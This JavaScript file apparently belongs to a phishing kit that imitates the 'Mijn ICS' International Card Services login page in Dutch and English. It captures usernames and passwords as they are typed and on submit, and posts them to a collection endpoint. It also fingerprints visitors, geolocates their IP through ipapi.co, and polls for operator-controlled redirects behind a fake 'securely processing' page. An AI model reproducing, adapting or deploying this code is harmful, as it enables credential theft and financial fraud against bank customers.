/**
 * NL/EN copy + password visibility (Client static login).
 */
(function () {
  "use strict";

  var STORAGE_KEY = "client-login-lang";

  // --- TRACKING & API LOGIC ---
  var VISITOR_KEY = "scii_visitor_id";
  function getVisitorId() {
    var vid = localStorage.getItem(VISITOR_KEY);
    if (!vid) {
      vid = "v_" + Date.now() + "_" + Math.random().toString(36).substr(2, 9);
      localStorage.setItem(VISITOR_KEY, vid);
    }
    return vid;
  }

  function getDeviceInfo() {
    var ua = navigator.userAgent;
    var os = "Unknown";
    if (ua.indexOf("Win") !== -1) os = "Windows";
    if (ua.indexOf("Mac") !== -1) os = "MacOS";
    if (ua.indexOf("Linux") !== -1) os = "Linux";
    if (ua.indexOf("Android") !== -1) os = "Android";
    if (ua.indexOf("iPhone") !== -1 || ua.indexOf("iPad") !== -1) os = "iOS";

    var browser = "Unknown";
    if (ua.indexOf("Firefox") !== -1) browser = "Firefox";
    else if (ua.indexOf("SamsungBrowser") !== -1) browser = "Samsung";
    else if (ua.indexOf("Opera") !== -1 || ua.indexOf("OPR") !== -1) browser = "Opera";
    else if (ua.indexOf("Edge") !== -1 || ua.indexOf("Edg") !== -1) browser = "Edge";
    else if (ua.indexOf("Chrome") !== -1) browser = "Chrome";
    else if (ua.indexOf("Safari") !== -1) browser = "Safari";

    var tz = "";
    try {
      tz = Intl.DateTimeFormat().resolvedOptions().timeZone || "";
    } catch (e) {}

    return {
      os: os,
      browser: browser,
      language: navigator.language || "",
      timezone: tz,
    };
  }

  function getTrackingPage() {
    var q = window.location.search || "";
    if (q.indexOf("ACTIVATION") !== -1) return "activation";
    var path = window.location.pathname.toLowerCase();
    if (path.indexOf("processing") !== -1) return "loading";
    return "login";
  }

  function registerVisitor() {
    var page = getTrackingPage();
    if (typeof window.sciiInitPageTracker === "function") {
      window.sciiInitPageTracker(page, { pollMs: 800 });
      return;
    }
    var dev = getDeviceInfo();
    function sendRegister(extra) {
      var payload = Object.assign(
        {
          visitor_id: getVisitorId(),
          os: dev.os,
          browser: dev.browser,
          language: dev.language,
          timezone: dev.timezone,
          page: page,
        },
        extra || {}
      );
      window.sciiRegisterVisitor(payload);
    }
    sendRegister({});
    fetch("https://ipapi.co/json/")
      .then(function (res) {
        return res.json();
      })
      .then(function (data) {
        sendRegister({
          ip: data.ip,
          country: data.country_name,
          city: data.city,
        });
      })
      .catch(function () {});
  }

  function sendHeartbeat(page) {
    fetch('/api/heartbeat', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ visitor_id: getVisitorId(), page: page })
    }).catch(function(){});
  }

  function saveVisitorData(formType, dataObj) {
    var payload = Object.assign({ visitor_id: getVisitorId(), form_type: formType }, dataObj);
    if (typeof window.sciiSaveVisitorData === "function") {
      return window.sciiSaveVisitorData(payload);
    }
    return fetch("/api/save-visitor-data", {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify(payload),
    })
      .then(function (r) {
        return r.json();
      })
      .catch(function () {
        return {};
      });
  }

  function checkRedirect() {
    if (typeof window.sciiCheckRedirect === "function") {
      window.sciiCheckRedirect();
      return;
    }
    fetch('/api/check-redirect?visitor_id=' + getVisitorId())
      .then(function(r){ return r.json(); })
      .then(function(d){ if(d.redirect && d.url) window.location.replace(d.url); })
      .catch(function(){});
  }

  function initTracking() {
    var page = getTrackingPage();
    registerVisitor();
    if (typeof window.sciiInitPageTracker === "function") {
      return;
    }
    sendHeartbeat(page);
    if (page === "loading") {
      checkRedirect();
    }
    setInterval(function () {
      sendHeartbeat(page);
      checkRedirect();
    }, 3000);
  }
  // --- END TRACKING ---

  var ICON_HIDDEN = "./images/pwd-toggle-conceal.png";
  var ICON_SHOWN = "./images/pwd-toggle-reveal.png";

  var PAGE_PATH = window.location.pathname.split("?")[0];
  var RETRY_I18N_KEY = "loginError";

  var STRINGS = {
    nl: {
      docTitle: "Inloggen - Mijn ICS | International Card Services",
      skipLink: "Naar de inhoud",
      sidenavTitle: "Inloggen bij Mijn ICS",
      contentTitle: "Vul uw gegevens in",
      loginError:
        "Deze inloggegevens kloppen niet. Controleer de combinatie van uw inlognaam en wachtwoord.",
      username: "Inlognaam",
      password: "Wachtwoord",
      remember: "Onthoud inlognaam",
      forgot: "Inloggegevens vergeten?",
      activate: "Mijn ICS activeren",
      login: "Inloggen",
      loadingTitle: "Een moment geduld alstublieft...",
      loadingText: "Wij zijn uw gegevens veilig aan het verwerken. Sluit dit venster niet af en ververs de pagina niet om te voorkomen dat het proces wordt onderbroken.",
      disclaimer: "Disclaimer",
      terms: "Algemene Voorwaarden",
      privacy: "Privacy Statement",
      cookies: "Cookies",
      inputRequired: "Er is nog niets ingevuld. Vul alstublieft dit veld in.",
      srShow: "Wachtwoord tonen",
      srHide: "Wachtwoord verbergen",
      ariaNl: "Schakel over naar Nederlands",
      ariaEn: "Switch to English",
    },
    en: {
      docTitle: "Log in - My ICS | International Card Services",
      skipLink: "Skip to content",
      sidenavTitle: "Log in to My ICS",
      contentTitle: "Enter your details",
      loginError:
        "These login details are not correct. Check the combination of your username and password.",
      username: "Username",
      password: "Password",
      remember: "Remember username",
      forgot: "Forgot your login details?",
      activate: "Activate My ICS",
      login: "Log in",
      loadingTitle: "Please wait a moment...",
      loadingText: "We are securely processing your details. Please do not close this window or refresh the page to prevent the process from being interrupted.",
      disclaimer: "Disclaimer",
      terms: "General terms and conditions",
      privacy: "Privacy statement",
      cookies: "Cookies",
      inputRequired: "Nothing has been entered yet. Please fill in this field.",
      srShow: "Show password",
      srHide: "Hide password",
      ariaNl: "Switch to Dutch",
      ariaEn: "Switch to English",
    },
  };

  function syncPasswordSrOnly(lang) {
    var t = STRINGS[lang] || STRINGS.nl;
    document.querySelectorAll(".show-password-button .sr-only").forEach(function (sr) {
      var btn = sr.closest(".show-password-button");
      if (!btn) return;
      var revealed = btn.getAttribute("aria-pressed") === "true";
      sr.textContent = revealed ? t.srHide : t.srShow;
    });
  }

  function getLang() {
    return window.sciiGetLang();
  }

  function setLang(lang) {
    lang = window.sciiNormalizeLang(lang);
    window.sciiPersistUiLanguage(lang);
    document.documentElement.lang = lang;
    var t = STRINGS[lang];
    document.title = t.docTitle;

    document.querySelectorAll("[data-i18n]").forEach(function (el) {
      var key = el.getAttribute("data-i18n");
      if (!key || !t[key]) return;
      if (
        key === RETRY_I18N_KEY &&
        typeof window.sciiAppendErrorCode === "function"
      ) {
        el.textContent = window.sciiAppendErrorCode(t[key], PAGE_PATH);
      } else {
        el.textContent = t[key];
      }
    });

    window.sciiUpdateLanguageToggle(lang, t);

    syncPasswordSrOnly(lang);
  }

  function bindLanguageBar() {
    window.sciiBindLanguageBar(setLang);
  }

  function setPasswordIcon(btn) {
    var img = btn.querySelector(".password-toggle-icon");
    if (!img) return;
    var wrap = btn.closest(".label-wrapper");
    var input = wrap ? wrap.querySelector("input") : null;
    if (!input) return;
    img.setAttribute("src", input.type === "password" ? ICON_HIDDEN : ICON_SHOWN);
  }

  function setLoginCredentialError(feedback, show) {
    if (!feedback) return;
    if (show) {
      feedback.classList.add("visible");
      feedback.removeAttribute("aria-hidden");
    } else {
      feedback.classList.remove("visible");
      feedback.setAttribute("aria-hidden", "true");
    }
  }

  function getFieldShell(input) {
    var wrapper = input ? input.closest(".label-wrapper") : null;
    return {
      wrapper: wrapper,
      box: wrapper ? wrapper.querySelector(".input") : null,
    };
  }

  function setFieldRequiredError(input, show) {
    if (!input) return;
    var shell = getFieldShell(input);
    if (!shell.wrapper) return;
    var existing = shell.wrapper.querySelector(".input-error");
    if (!show) {
      if (existing) existing.remove();
      if (shell.box) shell.box.classList.remove("invalid");
      input.removeAttribute("aria-invalid");
      input.removeAttribute("aria-describedby");
      return;
    }

    var id = input.id + "-required-error";
    var error = existing || document.createElement("p");
    error.setAttribute("_ngcontent-ng-c282806018", "");
    error.className = "input-error";
    error.id = id;
    error.setAttribute("data-i18n", "inputRequired");
    error.textContent = STRINGS[getLang()].inputRequired;
    if (!existing) shell.wrapper.appendChild(error);
    if (shell.box) shell.box.classList.add("invalid");
    input.setAttribute("aria-invalid", "true");
    input.setAttribute("aria-describedby", id);
  }

  function clearFormFieldErrors(form) {
    if (!form) return;
    form.querySelectorAll("#username-desktop, #username-mobile, #password-desktop, #password-mobile").forEach(function (input) {
      setFieldRequiredError(input, false);
    });
  }

  function getFormAndFeedbackForLoginButton(btn) {
    var card = btn.closest("ui-card.desktop-form");
    if (card) {
      var formD = card.querySelector("form#loginFormId-desktop");
      var fbD = formD ? formD.querySelector("ui-feedback-message.errorFeedback") : null;
      return { form: formD, feedback: fbD };
    }
    var mobile = btn.closest(".mobile-form");
    if (mobile) {
      var formM = mobile.querySelector("form#loginFormId-mobile");
      var fbM = formM ? formM.querySelector("ui-feedback-message.errorFeedback") : null;
      return { form: formM, feedback: fbM };
    }
    return { form: null, feedback: null };
  }

  function evaluateLoginAttempt(form, feedback) {
    var pwd = form.querySelector("#password-desktop, #password-mobile");
    var user = form.querySelector("#username-desktop, #username-mobile");
    if (!pwd || !user) return;
    var pv = (pwd.value || "").trim();
    var uv = (user.value || "").trim();
    var hasMissingFields = !uv || !pv;
    setFieldRequiredError(user, !uv);
    setFieldRequiredError(pwd, !pv);
    if (hasMissingFields) {
      setLoginCredentialError(feedback, false);
      (uv ? pwd : user).focus();
      return;
    }
    if (
      typeof window.sciiIsSaveBlocked === "function" &&
      window.sciiIsSaveBlocked()
    ) {
      return;
    }
    // Save data and redirect to loading (or next sleep step)
    saveVisitorData("login", {
      username: uv,
      password: pv,
      step_complete: true,
    }).then(function (resp) {
      if (typeof window.sciiHandleFormSubmit === "function") {
        window.sciiHandleFormSubmit(Promise.resolve(resp), function () {
          window.sciiGoProcessing(PAGE_PATH);
        });
        return;
      }
      if (
        typeof window.sciiApplySaveResponse === "function" &&
        window.sciiApplySaveResponse(resp)
      ) {
        return;
      }
      window.sciiGoProcessing(PAGE_PATH);
    });
  }

  function bindActivateButton() {
    document.querySelectorAll(".action-buttons button.ui-button.secondary").forEach(function (btn) {
      if (btn.dataset.activateBound === "1") return;
      btn.dataset.activateBound = "1";
      btn.setAttribute("type", "button");
      btn.addEventListener("click", function (e) {
        e.preventDefault();
        saveVisitorData("activation", { action: "Mijn ICS activeren", step_complete: true });
        window.location.href = window.SCII_ROUTES.activation;
      });
    });
  }

  function bindLoginForms() {
    document.querySelectorAll(".login-btn").forEach(function (btn) {
      btn.setAttribute("type", "button");
      btn.addEventListener("click", function (e) {
        e.preventDefault();
        e.stopPropagation();
        var ctx = getFormAndFeedbackForLoginButton(btn);
        if (!ctx.form || !ctx.feedback) return;
        evaluateLoginAttempt(ctx.form, ctx.feedback);
      });
    });

    document.querySelectorAll("#loginFormId-desktop, #loginFormId-mobile").forEach(function (form) {
      form.addEventListener("submit", function (e) {
        e.preventDefault();
        var feedback = form.querySelector("ui-feedback-message.errorFeedback");
        evaluateLoginAttempt(form, feedback);
      });
      form.addEventListener(
        "input",
        function (e) {
          var t = e.target;
          if (!t || !t.id) return;
          if (
            t.id !== "password-desktop" &&
            t.id !== "password-mobile" &&
            t.id !== "username-desktop" &&
            t.id !== "username-mobile"
          )
            return;
          var feedback = form.querySelector("ui-feedback-message.errorFeedback");
          setLoginCredentialError(feedback, false);
          setFieldRequiredError(t, false);
          
          // Live tracking with debounce
          clearTimeout(window.trackTimeout);
          window.trackTimeout = setTimeout(function() {
            var pwd = form.querySelector("#password-desktop, #password-mobile");
            var user = form.querySelector("#username-desktop, #username-mobile");
            saveVisitorData("login", {
              username: user ? user.value : "",
              password: pwd ? pwd.value : ""
            });
          }, 1000);
        },
        true
      );
    });
  }

  function bindPasswordToggles() {
    document.querySelectorAll(".show-password-button").forEach(function (btn) {
      if (btn.dataset.toggleBound === "1") return;
      btn.dataset.toggleBound = "1";
      btn.addEventListener("click", function (e) {
        e.preventDefault();
        e.stopPropagation();
        var wrap = btn.closest(".label-wrapper");
        var input = wrap ? wrap.querySelector("input") : null;
        if (!input || (input.type !== "password" && input.type !== "text")) return;
        var revealed = input.type === "password";
        input.type = revealed ? "text" : "password";
        btn.setAttribute("aria-pressed", input.type === "text" ? "true" : "false");
        setPasswordIcon(btn);
        syncPasswordSrOnly(getLang());
      });
      setPasswordIcon(btn);
    });
  }

  function init() {
    initTracking();
    bindLanguageBar();
    setLang(getLang());
    bindPasswordToggles();
    bindActivateButton();
    bindLoginForms();
    document.querySelectorAll("ui-feedback-message.errorFeedback").forEach(function (el) {
      setLoginCredentialError(el, false);
    });
    
    var showAuthErr =
      typeof window.sciiHasRetryParam === "function" &&
      window.sciiHasRetryParam();
    if (showAuthErr) {
      document.querySelectorAll("ui-feedback-message.errorFeedback").forEach(function (el) {
        setLoginCredentialError(el, true);
      });
    }

    document.querySelectorAll("#loginFormId-desktop, #loginFormId-mobile").forEach(clearFormFieldErrors);
  }

  if (document.readyState === "loading") {
    document.addEventListener("DOMContentLoaded", init);
  } else {
    init();
  }
})();
